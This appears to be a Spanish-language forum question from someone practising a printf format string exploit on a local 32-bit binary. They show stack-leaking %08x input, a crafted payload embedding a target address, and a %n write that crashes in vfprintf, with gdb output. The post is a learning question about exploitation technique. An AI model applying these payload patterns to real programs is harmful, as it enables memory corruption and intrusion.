Estoy tratando de aprender más sobre la vulnerabilidad de printf. Entiendo la teoría pero no puedo ponerla en práctica.
TL; DR
Todos mis intentos de escribir un solo byte en la memoria dan como resultado un error de segmentación.
¿Cuál es la razón más probable de la falla? Mi conjetura es que puede ser algún tipo de protección en los compiladores / SO modernos (estoy ejecutando eso en Ubuntu Xenial de 64 bits), pero no sé mucho al respecto.
Detalles
Soy capaz de leer la pila. Descubrí que la llamada que estoy intentando explotar coloca 6 * 4 bytes delante de mi entrada:
Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141
Desarmé el binario y encontré las ubicaciones de memoria que quiero cambiar. Probé varias direcciones, tanto código como datos con el mismo resultado. Por ejemplo, la dirección de la cadena Tu elección: es 0x0804b795
.
$ gdb -batch -ex "x/s 0x0804b795" ./a.out
0x804b795: "Your choice: "
Puedo escribir esa dirección en la carga útil:
$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload
$ cat payload - | ./a.out
Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795
Luego, reemplazo el último %08x
con %n
para escribir en esa dirección. El número de caracteres impresos sería 4 (para la dirección) + 6 * 8 (rellenado% x) + 7 (puntos) = 59, lo que pone el valor a escribir en el rango ASCII; 59 significa punto y coma: un carácter adecuado para escribir en una cadena.
$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload
$ cat payload | ./a.out
Según mi conocimiento, debería funcionar y esperaba ver el mensaje ; nuestra elección en la próxima iteración, pero lo estoy obteniendo
Your choice: You entered:
Segmentation fault
Para confirmar:
$ gdb a.out
(gdb) run < payload
Your choice: You entered:
Program received signal SIGSEGV, Segmentation fault.
0xf7e58dff in vfprintf () from /lib32/libc.so.6
(gdb) bt
#0 0xf7e58dff in vfprintf () from /lib32/libc.so.6
#1 0xf7e5df66 in printf () from /lib32/libc.so.6
#2 0x080487b4 in getInput ()
#3 0x0804b206 in programMain ()
#4 0x0804b3b0 in main ()
¿Qué me estoy perdiendo? ¿Qué más puedo comprobar?